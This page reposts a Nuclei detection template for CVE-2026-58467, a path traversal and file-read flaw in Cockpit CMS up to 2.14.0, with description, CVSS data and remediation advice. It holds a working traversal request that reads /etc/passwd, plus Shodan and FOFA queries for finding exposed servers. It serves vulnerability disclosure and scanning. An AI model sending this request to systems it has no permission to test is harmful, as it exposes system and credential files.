BiuPoC

CVE-2026-58467: Cockpit CMS <= 2.14.0 - Path Traversal / Local File Inclusion

2026-09-23 PoC Public

Description

Cockpit CMS through 2.14.0 contains a path traversal and local file inclusion (LFI) vulnerability when executed under PHP's built-in CLI server (PHP_SAPI == 'cli-server') or non-normalizing reverse proxies. The application fails to sanitize dot-dot sequences in PATH_INFO routes starting with '/:' and containing '/storage/'. Unauthenticated remote attackers can traverse outside the designated directory to read arbitrary system files.

PoC

id: CVE-2026-58467

info:
  name: Cockpit CMS <= 2.14.0 - Path Traversal / Local File Inclusion
  author: Abdullah Shahid (comradezephyr)
  severity: high
  description: |
    Cockpit CMS through 2.14.0 contains a path traversal and local file inclusion (LFI) vulnerability when executed under PHP's built-in CLI server (PHP_SAPI == 'cli-server') or non-normalizing reverse proxies. The application fails to sanitize dot-dot sequences in PATH_INFO routes starting with '/:' and containing '/storage/'. Unauthenticated remote attackers can traverse outside the designated directory to read arbitrary system files.
  impact: |
    An unauthenticated attacker can read sensitive system files (e.g., /etc/passwd), leading to potential credential exposure or further system compromise.
  remediation: |
    Upgrade to Cockpit CMS version 2.14.1 or higher.
  reference:
    - https://www.cve.org/CVERecord?id=CVE-2026-58467
    - https://nvd.nist.gov/vuln/detail/CVE-2026-58467
    - https://github.com/cockpit-hq/cockpit/compare/2.14.0...2.14.1
    - https://github.com/geo-chen/oss/blob/main/cockpit.md
  classification:
    cvss-metrics: CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N
    cvss-score: 8.2
    cve-id: CVE-2026-58467
    epss-score: 0.0173
    epss-percentile: 0.76883
    cwe-id: CWE-22
  metadata:
    verified: false
    max-request: 1
    vendor: cockpit-hq
    product: cockpit
    shodan-query: 'http.favicon.hash:"688609340"'
    fofa-query: 'icon_hash=="688609340"'
  tags: cve,cve2026,cockpit,cms,lfi,traversal

http:
  - raw:
      - |
        GET /:x/storage/../../../../../../etc/passwd HTTP/1.1
        Host: {{Hostname}}

    matchers-condition: and
    matchers:
      - type: regex
        part: body
        regex:
          - "root:.*:0:0:"

      - type: status
        status:
          - 200
# digest: 4b0a00483046022100a38e9603223acf9288750747ad92192b2bd0f43e624f2afaa4e46e22f7955857022100fb49491562bd42d1bf94b6bf6492adf6dec2a563cf3865874c97ca4cc5a0c324:922c64590222798bb761d5b6d8e72950

# Visit https://trap.biu.life/ to view exploit trends for this vulnerability.
Source: https://github.com/projectdiscovery/nuclei-templates/blob/main/http/cves/2026/CVE-2026-58467.yaml

References